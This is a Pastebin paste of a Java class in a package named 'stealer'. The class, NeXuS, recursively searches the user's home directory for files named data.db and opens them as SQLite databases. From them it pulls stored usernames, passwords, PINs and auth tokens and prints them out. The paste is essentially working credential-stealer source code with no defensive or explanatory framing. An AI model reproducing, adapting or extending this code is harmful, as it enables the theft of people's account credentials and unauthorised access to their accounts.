Advertisement
Guest User

Untitled

a guest
Jul 22nd, 2017
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.04 KB | None | 0 0
  1. package stealer;
  2.  
  3. import java.io.File;
  4. import java.io.FilenameFilter;
  5. import java.sql.Connection;
  6. import java.sql.DriverManager;
  7. import java.sql.ResultSet;
  8. import java.sql.Statement;
  9. import java.util.Collection;
  10. import java.util.Vector;
  11.  
  12. public class NeXuS implements Runnable {
  13.  
  14. boolean auth;
  15.  
  16. public NeXuS(boolean auth) {
  17. this.auth = auth;
  18. Thread thread = new Thread(this, "NeXuS");
  19. thread.start();
  20. }
  21.  
  22. public void run() {
  23. FilenameFilter filter = new FilenameFilter() {
  24. public boolean accept(File dir, String name) {
  25. return name.equals("data.db");
  26. }
  27. };
  28. File[] filez = listFilesAsArray(new File(System.getProperty("user.home")), filter, -1);
  29. if (filez.length > 0) {
  30. for (File f : filez) {
  31. try {
  32. if(auth) {
  33. getAuth(f.getAbsolutePath());
  34. } else {
  35. getDB(f.getAbsolutePath());
  36. }
  37. } catch (Exception e) {
  38. e.printStackTrace();
  39. }
  40. }
  41. }
  42. }
  43.  
  44. public static void getDB(String loc) throws Exception {
  45. Class.forName("org.sqlite.JDBC");
  46. Connection conn = DriverManager.getConnection("jdbc:sqlite:"+loc);
  47. Statement stat = conn.createStatement();
  48. ResultSet rs = stat.executeQuery("select * from jfiwpja;");
  49. while (rs.next()) {
  50. String username = rs.getString("user");
  51. String password = rs.getString("pass");
  52. String pin = rs.getString("pin");
  53. if(password == null)
  54. continue;
  55. if(pin != null) {
  56. System.out.println("NeXuS - User: " + username + " Pass: " + password + " Pin: " + pin);
  57. } else {
  58. System.out.println("NeXuS - User: " + username + " Pass: " + password);
  59. }
  60. }
  61. rs.close();
  62. conn.close();
  63. }
  64.  
  65. public static void getAuth(String loc) throws Exception {
  66. Class.forName("org.sqlite.JDBC");
  67. Connection conn = DriverManager.getConnection("jdbc:sqlite:"+loc);
  68. Statement stat = conn.createStatement();
  69. ResultSet rs = stat.executeQuery("select * from sapqmks;");
  70. while (rs.next()) {
  71. String auth = rs.getString("auths");
  72. System.out.println("Auth: " + auth);
  73. }
  74. rs.close();
  75. conn.close();
  76. }
  77.  
  78. private static File[] listFilesAsArray(File directory, FilenameFilter filter, int recurse) {
  79. Collection<File> files = listFiles(directory, filter, recurse);
  80. File[] arr = new File[files.size()];
  81. return files.toArray(arr);
  82. }
  83.  
  84. private static Collection<File> listFiles(File directory, FilenameFilter filter, int recurse) {
  85. Vector<File> files = new Vector<File>();
  86. File[] entries = directory.listFiles();
  87. if (entries != null) {
  88. for (File entry : entries) {
  89. if (filter == null || filter.accept(directory, entry.getName())) { files.add(entry); }
  90. if ((recurse <= -1) || (recurse > 0 && entry.isDirectory())) {
  91. recurse--;
  92. files.addAll(listFiles(entry, filter, recurse));
  93. recurse++;
  94. }
  95. }
  96. }
  97. return files;
  98. }
  99. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement